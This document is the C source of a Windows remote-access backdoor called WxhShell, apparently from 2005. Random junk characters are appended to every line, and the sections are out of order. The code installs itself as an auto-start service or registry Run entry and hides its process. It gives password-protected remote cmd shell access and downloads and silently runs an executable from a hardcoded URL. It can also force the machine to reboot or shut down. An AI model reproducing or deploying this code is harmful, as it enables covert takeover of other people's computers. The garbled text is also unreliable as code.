    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GKiq0*/M  
    if(Boot(SHUTDOWN)) {=s:P|ah  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "havi,m  
    else { ob)Q,;8R  
    closesocket(wsh); "/Om}*VhD  
    ExitThread(0); {K<uM'ww>  
    } {>wI8  
    break; m"<4\;GK  
    } 1B6C<cL:sU  
  // 获取shell 8~.iuFp  
  case 's': { ';&0~[R[  
    CmdShell(wsh); .N/GfR`0/<  
    closesocket(wsh); | O57N'/  
    ExitThread(0); /8=:qIJYA  
    break; m5)EQE}gPp  
  } xLe =d|6  
  // 退出 B*y;>q "{U  
  case 'x': { h (qshbC}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0{-`Th+h  
    CloseIt(wsh); #fwzFS \XL  
    break; `'kc|!%MUq  
    } mm_^gQ,`  
  // 离开 xIM8  
  case 'q': { =Na/3\^WP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qx Wgt(Os  
    closesocket(wsh); IY V-*/ |  
    WSACleanup(); 3\7'm]  
    exit(1); >vHH  
    break; Z "-ntx#  
        } 4pLQ"&>}80  
  } ]}p2Tp;1  
  } %I_&Ehu  
wu;7NatHx  
  // 提示信息 +d@v AxP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N )'8o}E  
} v>rqOI  
  } *4-r`k|@>/  
Ok*VQKyDLH  
  return; 7X(rLd 6#  
} MhHr*!N"}  
4,j4E@?pG9  
// shell模块句柄 tDEXm^B2Sv  
int CmdShell(SOCKET sock) 9cVn>Fb  
{ Km[]^;6  
STARTUPINFO si; Y=5!QLV4  
ZeroMemory(&si,sizeof(si)); ;:AG2zE!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; / c +,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N{ : [/  
PROCESS_INFORMATION ProcessInfo; #:]vUQ  
char cmdline[]="cmd";  yQ<6p3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yEE|e&#>  
  return 0; hm*Th  
} 2~#ZO?jE6  
]&&I|K_  
// 自身启动模式 8o!  
int StartFromService(void) )WaX2uDA?  
{ _u#/u2<  
typedef struct Qe7" Z  
{ <dq,y>  
  DWORD ExitStatus; G A'*58  
  DWORD PebBaseAddress; M7`UoTc+>d  
  DWORD AffinityMask; 1f+*Tmc5]Q  
  DWORD BasePriority; X=fPGyhZ  
  ULONG UniqueProcessId; bs:C1j\&  
  ULONG InheritedFromUniqueProcessId; )EhTM-1  
}   PROCESS_BASIC_INFORMATION; FI3sLA  
' %bj9{(0  
PROCNTQSIP NtQueryInformationProcess; lf?Z{^  
TjKzBAX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2v"wWap-+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (nkUeQQN  
_ pY   
  HANDLE             hProcess; c80 }1  
  PROCESS_BASIC_INFORMATION pbi; z zulVj*  
EZ:I$X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $ 1ak I  
  if(NULL == hInst ) return 0; zb@L)%  
RH<@c^ S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nvU+XCx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ytl:YzXCi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o@qN#Mg?>}  
F@>w&A ~K  
  if (!NtQueryInformationProcess) return 0; =_#ye}E  
h-z%C6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +}Qv6s#  
  if(!hProcess) return 0; E`oSi ez)  
ZkJY.H-F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &>d:ewM\  
$=\oJ-(!@S  
  CloseHandle(hProcess); @qg0u#k5  
~0VwF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I>N-95  
if(hProcess==NULL) return 0; *D,v>(  
[,\'V0  
HMODULE hMod; E&RoaY0  
char procName[255]; [VfL v.8w  
unsigned long cbNeeded; *T.={>HE8  
RM?_15m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rnzsfr-|(2  
,gAr|x7_  
  CloseHandle(hProcess); jK ?  
U p]VU9z  
if(strstr(procName,"services")) return 1; // 以服务启动 5*G8W\ $  
Y;a6:>D%cT  
  return 0; // 注册表启动 J,dG4.ht  
} }M"-5K}  
>i><s>=I`  
// 主模块 "wc`fg"3  
int StartWxhshell(LPSTR lpCmdLine) [15hci+-  
{ &*V0(  
  SOCKET wsl; Sa?~t3*H  
BOOL val=TRUE; rwi2kk#@P  
  int port=0; `^s]?  
  struct sockaddr_in door; LM'*OtpDG  
$5q{vy  
  if(wscfg.ws_autoins) Install(); ?X8K$g  
lB5[#z  
port=atoi(lpCmdLine); %xH>0  
EvGUj$  
if(port<=0) port=wscfg.ws_port; 'W<a54T?z  
1CF7  
  WSADATA data; 44/ 0}v]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @&am!+z  
aT`02X   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |Oj,S|Z:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t<KEx^gb  
  door.sin_family = AF_INET; ?z4uze1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -r6(=A  
  door.sin_port = htons(port); Ep v3/ `I  
<.y^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O"2wV +9  
closesocket(wsl); .R<s<]  
return 1; erAZG)  
} @=aq&gb  
(rY1O:*S  
  if(listen(wsl,2) == INVALID_SOCKET) { Oy?iAQ+  
closesocket(wsl); LyCV_6;D  
return 1; R'1vjDuv  
} -\sKSY5{R  
  Wxhshell(wsl); ?j^?@%f0  
  WSACleanup(); `*uuB;  
I?:+~q}lZr  
return 0; %(O^as  
K4VPmkG  
} Is,*qrl :  
RY'\mt"W2  
// 以NT服务方式启动 ^q4:zZZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j*3sjOoC  
{ ( .6tz  
DWORD   status = 0; R - ?0k:  
  DWORD   specificError = 0xfffffff; %_i0go,^  
hQW#a]]V:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $[^ KCNB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =t>`< T|(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZRVF{D??"%  
  serviceStatus.dwWin32ExitCode     = 0; ND99 g  
  serviceStatus.dwServiceSpecificExitCode = 0; `6l24_eKf  
  serviceStatus.dwCheckPoint       = 0; ^5zS2nm  
  serviceStatus.dwWaitHint       = 0; TF ([yZO'  
:67d>wb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :,J86#S)  
  if (hServiceStatusHandle==0) return; |L~gNC  
w~FO:/  
status = GetLastError(); 9N3oVHc?  
  if (status!=NO_ERROR) .Q6{$Y%l  
{ '!|E+P-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,_X,V!  
    serviceStatus.dwCheckPoint       = 0; \gPNHL*  
    serviceStatus.dwWaitHint       = 0; OM"T)4z  
    serviceStatus.dwWin32ExitCode     = status; Y9(i}uTi  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0I AaPz/e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (WU~e!}  
    return; p%M(G#gOgP  
  } COl%P  
wxr}*Z:ZMa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qLktMp_  
  serviceStatus.dwCheckPoint       = 0; 5xn0U5U  
  serviceStatus.dwWaitHint       = 0; /[)P^L`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |RbUmuj  
} kY |=a  
>5z`SZf  
// 处理NT服务事件,比如:启动、停止 g275{2G9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X|QX1dl  
{ ?_h#>  
switch(fdwControl) @+Anv~B.  
{ neMe<jr  
case SERVICE_CONTROL_STOP: .q& ]wu  
  serviceStatus.dwWin32ExitCode = 0; ,r)d#8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mrB hvp""  
  serviceStatus.dwCheckPoint   = 0; [4 (A458H  
  serviceStatus.dwWaitHint     = 0; _ER cmP  
  { 0aq-drl5\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t)kr/Z*p\  
  } )~o`QM+  
  return; E(K$|k_>  
case SERVICE_CONTROL_PAUSE: '5+, lRu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I{P$B-  
  break; GmWQJYX\  
case SERVICE_CONTROL_CONTINUE: 'kONb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u+i/CE#w  
  break; #| e5  
case SERVICE_CONTROL_INTERROGATE: K|' ]Hje\  
  break; C&MqUj"]  
}; }v|[h[cZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +Y%I0.?&5  
} ^`C*";8Q  
&wWGZ~T  
// 标准应用程序主函数 {&AT}7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xN~<<PIZ  
{ b|pNc'u:Cn  
dIh(~KqB  
// 获取操作系统版本 |Z)/  
OsIsNt=GetOsVer(); &T4Cn@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _\V{X}ftqa  
 kc/H  
  // 从命令行安装 LAjw!QB  
  if(strpbrk(lpCmdLine,"iI")) Install(); mjJlXA  
SEn8t"n  
  // 下载执行文件 a*ixs'MJ  
if(wscfg.ws_downexe) { T?$?5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0|3B8m  
  WinExec(wscfg.ws_filenam,SW_HIDE); }lbx  
} &[\arwe)  
dodz|5o%  
if(!OsIsNt) { F u=VY{U4  
// 如果时win9x,隐藏进程并且设置为注册表启动 i3\oy`GJ  
HideProc(); G}OrpPP  
StartWxhshell(lpCmdLine); ZCq\Zk1O&  
} mgl' d  
else 5Szo5  
  if(StartFromService()) HrcnyQ`Q0  
  // 以服务方式启动 l~ >rpG  
  StartServiceCtrlDispatcher(DispatchTable); gA8 u E  
else X=7vUb,\gB  
  // 普通方式启动 fwGz00C/U  
  StartWxhshell(lpCmdLine); lu(Omds+  
"+OMo-<K7  
return 0; d=Ihl30m  
} = ~R3*GN  
]7ZC>.t  
6 v#sq  
s`#j8>`M  
=========================================== uX!y,a/"  
HAOrwJFqU  
0R{R=r]  
Z\yLzy#8  
D.JVEKLkU  
Jrrk$0H^~  
" JC-yiORVr  
NQ{Z   
#include <stdio.h> gnK!"!nL  
#include <string.h> IBHG1<3  
#include <windows.h> Tl{r D(D  
#include <winsock2.h> cnO4N UDv  
#include <winsvc.h> HCZ%DBU96  
#include <urlmon.h> iONql7S @  
z^a?t<+  
#pragma comment (lib, "Ws2_32.lib") r]vBr^kq  
#pragma comment (lib, "urlmon.lib") `9)2nkJk'z  
Rf$6}F  
#define MAX_USER   100 // 最大客户端连接数 eHZl-|-  
#define BUF_SOCK   200 // sock buffer ;( Va_   
#define KEY_BUFF   255 // 输入 buffer w9}IM149  
W..>Ny;'3  
#define REBOOT     0   // 重启 .}opmI  
#define SHUTDOWN   1   // 关机 }Qu 7o  
:Gk~FRA|  
#define DEF_PORT   5000 // 监听端口 |iThgq_\z  
{:+^[rer j  
#define REG_LEN     16   // 注册表键长度 U/l ra&P  
#define SVC_LEN     80   // NT服务名长度 Y'":OW#oN  
v2<gkCK^  
// 从dll定义API IWd*"\L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %&S]cEw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0|k[Wha#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /9gMcn9EB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =hb87g.  
atnbM:t  
// wxhshell配置信息 s_+XSH[=f  
struct WSCFG { y 9mZQq  
  int ws_port;         // 监听端口 ago t (  
  char ws_passstr[REG_LEN]; // 口令 -i gZU>0B_  
  int ws_autoins;       // 安装标记, 1=yes 0=no uZI:Kt#  
  char ws_regname[REG_LEN]; // 注册表键名 tG&B D\  
  char ws_svcname[REG_LEN]; // 服务名 >sY+Y22U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6<O]_HZ&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %-1-J<<J q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $VNn`0^gF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v Cr$miZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f4^_FK&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `{;&Qcg6m  
IKj1{nZvDc  
}; `2+52q<FO  
l0o_C#"<S  
// default Wxhshell configuration <\ c8q3N  
struct WSCFG wscfg={DEF_PORT, }z:=b8}  
    "xuhuanlingzhe", 1Ez A@3:{  
    1, M#,+p8  
    "Wxhshell", {[iQRYD0|  
    "Wxhshell", msJn;(Pn  
            "WxhShell Service", i oQlC4Y  
    "Wrsky Windows CmdShell Service", G*V 7*KC  
    "Please Input Your Password: ", NsK>UJ'  
  1, nr6U> KR^  
  "http://www.wrsky.com/wxhshell.exe", eHIC'b.  
  "Wxhshell.exe" !9Ni[8&Fg0  
    }; @1X1E 2:  
[# H8Mb+7  
// 消息定义模块 D]y.!D{l2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q|\Cp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [X\2U4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b&&'b )  
char *msg_ws_ext="\n\rExit."; w%na n=  
char *msg_ws_end="\n\rQuit."; cE?J]5#^  
char *msg_ws_boot="\n\rReboot..."; Tl-B[CT  
char *msg_ws_poff="\n\rShutdown..."; cVi CWc2  
char *msg_ws_down="\n\rSave to "; ;pYk+r6Cr  
qN(; l&Q  
char *msg_ws_err="\n\rErr!"; G(e?]{(  
char *msg_ws_ok="\n\rOK!"; g_=ZcGC  
<Z_`^~!  
char ExeFile[MAX_PATH]; xJlq2cK  
int nUser = 0; '!GI:U+g  
HANDLE handles[MAX_USER]; [Y+ bW#'  
int OsIsNt; eGg#=l=  
}R(_^@ ]  
SERVICE_STATUS       serviceStatus; 1k(*o.6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j'cS_R  
1NJ|%+I  
// 函数声明 'JVvL  
int Install(void); 3 Q;l*xu  
int Uninstall(void); .$;GVJ-:5  
int DownloadFile(char *sURL, SOCKET wsh); Dbd5d]]n3  
int Boot(int flag); F*u;'K   
void HideProc(void); c7 -j  
int GetOsVer(void); |&.)_+w  
int Wxhshell(SOCKET wsl); 4T-AWk  
void TalkWithClient(void *cs); F[Up  
int CmdShell(SOCKET sock); m5*RB1  
int StartFromService(void); ^%.<(:k[L  
int StartWxhshell(LPSTR lpCmdLine);  \ Ld7fP  
chbs9y0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X+ jSB,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Vy VC#AK,  
Mf"B!WU>]B  
// 数据结构和表定义 stScz#!  
SERVICE_TABLE_ENTRY DispatchTable[] = n9yxZu   
{ ; o=mL_[  
{wscfg.ws_svcname, NTServiceMain}, ce\-oT  
{NULL, NULL} I_Qnq4Sk(  
}; 4)z](e$  
vhW '2<(  
// 自我安装 ?*0kQo'  
int Install(void) 7y3; F7V  
{ 9yPB)&"EF  
  char svExeFile[MAX_PATH]; =T`-h"E~@  
  HKEY key; * bK@A2`  
  strcpy(svExeFile,ExeFile); ,# 6\:i  
/zM7G?y  
// 如果是win9x系统,修改注册表设为自启动 0v?,:]A0E  
if(!OsIsNt) { ,v+SD\7|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gf@Dy6<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {cFei3'q  
  RegCloseKey(key); dLq!t@?iu>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Lt$qV-#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "lt[)3*  
  RegCloseKey(key); PE>_;k-@k  
  return 0; lAQ&PPQ  
    } &R]G)f#w%*  
  } {lA@I*_lj  
} mdd~B2"el  
else { JB7]51WH@  
]SI`fja/  
// 如果是NT以上系统,安装为系统服务 Q2o:wXvj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Nx"?'-3Hm  
if (schSCManager!=0) Gu pKM%kM  
{ Fk\xq`3'c  
  SC_HANDLE schService = CreateService <|@9]>z  
  ( _rv_-n]"o  
  schSCManager, ,&$Y2+  
  wscfg.ws_svcname, ?5D7n"jY  
  wscfg.ws_svcdisp, e0P1FD<@  
  SERVICE_ALL_ACCESS, 0NGokaD)H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TS;MGi0`}  
  SERVICE_AUTO_START, >\e11OU0Gy  
  SERVICE_ERROR_NORMAL, b(yY.L=K  
  svExeFile, bvoR?D\-"  
  NULL, B`vV[w?  
  NULL, 8yd OS  
  NULL, 6l4l74  
  NULL, p(v.sP4w  
  NULL }*%%GPJ  
  ); <rU(zm  
  if (schService!=0) 4x:fOhtP  
  { gG}<l ':  
  CloseServiceHandle(schService); ;RR)C@n1  
  CloseServiceHandle(schSCManager); 8WAg{lVs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M*x_1h5n  
  strcat(svExeFile,wscfg.ws_svcname); 'F@'4[uda  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Mqq7;w@(J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U@9n 7F  
  RegCloseKey(key); 6 R!0v8  
  return 0; uB%`Bx'OW  
    } # RtrHm  
  } A >e%rx  
  CloseServiceHandle(schSCManager); 4 1Ru@  
} N-^\e)ln  
} j,~h:MT  
"G< ^@v9  
return 1; ^P[-HA|  
} &ha39&I  
UW\.!TV  
// 自我卸载  :S.0e  
int Uninstall(void) L"IdD5`7T  
{ 4u<oe_n  
  HKEY key; t ({:TQ  
nF)|oA   
if(!OsIsNt) { GR"Jk[W9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !nTq"d%(W  
  RegDeleteValue(key,wscfg.ws_regname); ~($h9* \  
  RegCloseKey(key); 6`4=!ZfI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1e }wDMU(  
  RegDeleteValue(key,wscfg.ws_regname); V< J~:b1V  
  RegCloseKey(key); RJ0w3T]7  
  return 0; wqw$6"~  
  } ]86U -`p  
} =ahD'*R^A  
} *b> ~L  
else { .6r&<*  
P5[.2y_qM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >]Y`-*vw&  
if (schSCManager!=0) o0AREZ+I  
{ r t f}4.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NbSwn}e_  
  if (schService!=0) =x=#Etj|  
  { 'E6)6N  
  if(DeleteService(schService)!=0) { 4B) prQ3  
  CloseServiceHandle(schService); !.9NJ2'8  
  CloseServiceHandle(schSCManager); 4re^j4L~o  
  return 0; 0%v p'v  
  } n]|[|Rf1  
  CloseServiceHandle(schService); q K]Wk+  
  } daaurT  
  CloseServiceHandle(schSCManager); p 5P<3(  
} v-OaH81&R  
} `a] /e  
`/"TYR%  
return 1; Jcm" i ~  
} }E*#VA0/nY  
H Jwj,SL  
// 从指定url下载文件 kFeuKSa^d  
int DownloadFile(char *sURL, SOCKET wsh) hMdsR,Iq  
{ k5|h8%h8  
  HRESULT hr; p VLfZ?78  
char seps[]= "/"; )wmXicURC  
char *token; 3HWI;  
char *file; E: #VS~  
char myURL[MAX_PATH]; Bisht%]^  
char myFILE[MAX_PATH]; qL(Qmgd  
_Nlx)YR  
strcpy(myURL,sURL); gzxLHPiw  
  token=strtok(myURL,seps); LvB-%@n  
  while(token!=NULL) /,wG$b+  
  { DT;Hr4Z8^"  
    file=token; ^IY1^x  
  token=strtok(NULL,seps); ._#|h5  
  } _ u/N#*D  
*Z Aue.  
GetCurrentDirectory(MAX_PATH,myFILE); #VtlXr>G  
strcat(myFILE, "\\"); ?NJ\l5'  
strcat(myFILE, file); bq]af.o*  
  send(wsh,myFILE,strlen(myFILE),0);  R:-^,/1  
send(wsh,"...",3,0); 0Bb amU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D}Z].c@ E  
  if(hr==S_OK) )/UPDdO  
return 0; FSC74N/  
else YaDr6)  
return 1; Sky!ZN'I  
os"o0?  
} L=?Yc*vg  
}m(u o T~  
// 系统电源模块 0OP6VZ\  
int Boot(int flag) t\S}eoc  
{  weKwBw  
  HANDLE hToken; .(ki(8Z N  
  TOKEN_PRIVILEGES tkp; 58{6kJ@  
[{L4~(uU8  
  if(OsIsNt) { !Hxx6/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t /1KKEZM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }hhDJ_I5M  
    tkp.PrivilegeCount = 1; :voQ#f=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :k#Y|(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ["kk.*&  
if(flag==REBOOT) { uv eTx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YOy/'Le^:  
  return 0; vaW, O/F  
} N.l+9L0b  
else { 7&qunK'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KYZ/b8C  
  return 0; }PUQvIGZZ&  
} m6bAvy]3<t  
  } =;4cDmZh  
  else { ^g"G1,[%w  
if(flag==REBOOT) { A7C+-N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T32C=7  
  return 0; $b QD{ {  
} N[~ RWg  
else { )\8l6Gw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /z.Y<xOc  
  return 0; $_onSYWr  
} %@Bl,!BJ,  
} !X*+Ct^  
1.6yi];6  
return 1; WnyEdYA  
} [2"a~o\  
7o-umZ}8  
// win9x进程隐藏模块 D37N*9}  
void HideProc(void) f![?og)I%  
{ sB"Oi|#lk  
qH1[Bs Ox  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4$oNh)+/h  
  if ( hKernel != NULL ) 40w,:$  
  { |Ah'KpL8W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZEYT17g]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &!SdO<agZ  
    FreeLibrary(hKernel); p8aGM-+40W  
  }  ?%Hj,b  
qcSlqWDk  
return; R?V s8?  
} ph qx<N@  
wuR Q H]N  
// 获取操作系统版本 Z ]V^s8>  
int GetOsVer(void) B4Ko,=pg  
{ |3<tDq@+  
  OSVERSIONINFO winfo; W< _9*{|E;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W$>srdG0$  
  GetVersionEx(&winfo); 5|z>_f.^pS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t6(LO9Qc  
  return 1; [H<![Z1*r  
  else OGpy\0%  
  return 0; ">_<L.,I  
} bFD vCF  
@ qy n[C  
// 客户端句柄模块 SaceIV%(  
int Wxhshell(SOCKET wsl) ux`)jOQ`Y]  
{ <&^P1x<x  
  SOCKET wsh; _4Z|O]  
  struct sockaddr_in client; jM]B\cvN  
  DWORD myID; h8B:}_Cu  
FOV%\=Hl  
  while(nUser<MAX_USER) C-O~Oil  
{ <#/r.}.x  
  int nSize=sizeof(client); (&t741DN|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HI&N&a9C  
  if(wsh==INVALID_SOCKET) return 1; xMsSZ{j%5  
.$&mWytw=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =;A p+}  
if(handles[nUser]==0) gT8Q:8f:  
  closesocket(wsh); z=%&?V  
else :59fb"^$  
  nUser++; ;\-f7!s  
  } Hj(ay4 8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }x!=F<Q!r  
J< Ljg<t+  
  return 0; *9T a0e*  
} @pq2Z^SQH  
cBcfGNTJ~  
// 关闭 socket 9n9Z  
void CloseIt(SOCKET wsh) l ld,&N8  
{ ggn C #$  
closesocket(wsh); >1uo5,wrF  
nUser--; 9bu}@#4*  
ExitThread(0); K ?uH Am  
} h.T]J9;9  
q9+`pj  
// 客户端请求句柄 X% JQ_Z  
void TalkWithClient(void *cs) 3<F\ 5|  
{ ',+YWlW  
st4z+$L  
  SOCKET wsh=(SOCKET)cs; 3mef;!q  
  char pwd[SVC_LEN]; 8[v9|r  
  char cmd[KEY_BUFF]; ZW+M<G  
char chr[1]; {o>51fXc)  
int i,j; b^s978qn#  
>I*)0tE  
  while (nUser < MAX_USER) { @G'&7-(h*  
nUb0R~wr$G  
if(wscfg.ws_passstr) { oW ! Z= ;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f wE b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z3-A2#c  
  //ZeroMemory(pwd,KEY_BUFF); j}s<Pn%4  
      i=0; ''D\E6c\  
  while(i<SVC_LEN) { yBKEw(1  
s|HpN  
  // 设置超时 A$ 2AYQ  
  fd_set FdRead; 0nOkQVMk>  
  struct timeval TimeOut; SfTTB'9  
  FD_ZERO(&FdRead); 3(o}ulp  
  FD_SET(wsh,&FdRead); 7+]+S`p  
  TimeOut.tv_sec=8; K<3,=gL9[  
  TimeOut.tv_usec=0; iEx sGn]2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]F'o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vC#_PI  
fl@=h[g#t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x)}.@\&%  
  pwd=chr[0]; &JUHm_wd&S  
  if(chr[0]==0xd || chr[0]==0xa) { ce56$L8[  
  pwd=0; 7l%]O}!d)  
  break; 9N[(f-`  
  } wmV7g7t6  
  i++; O~P1d&:L  
    } xxy (#j$  
};{Qx  
  // 如果是非法用户,关闭 socket CU`yi.)T{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]9A@iA  
} SH ow~wxw  
xVnk]:c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ) t#>fnN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]#NJ[IZb  
"5wer5? t  
while(1) { Ty&Ok*  
,vcg%~-  
  ZeroMemory(cmd,KEY_BUFF); y,/Arl}yc  
W^e"()d/Z  
      // 自动支持客户端 telnet标准   PP*',D3  
  j=0; wjzR 8g0bQ  
  while(j<KEY_BUFF) { Qr.SPNUFK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Uf,fd  
  cmd[j]=chr[0]; OK] _.v}  
  if(chr[0]==0xa || chr[0]==0xd) { rbt/b0ET  
  cmd[j]=0; DYf3>xh>xb  
  break; (J6>]MZ#)  
  } 'G)UIjl  
  j++; QJ4=*tX)  
    } *`]#ntz9  
x*#9\*@EI  
  // 下载文件 N\{{:<Cp\  
  if(strstr(cmd,"http://")) { <sncW>?!~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \8^c"%v,:  
  if(DownloadFile(cmd,wsh)) $eu-8E'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,@Fde=Lw  
  else vk><S|[n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); < $>Jsv  
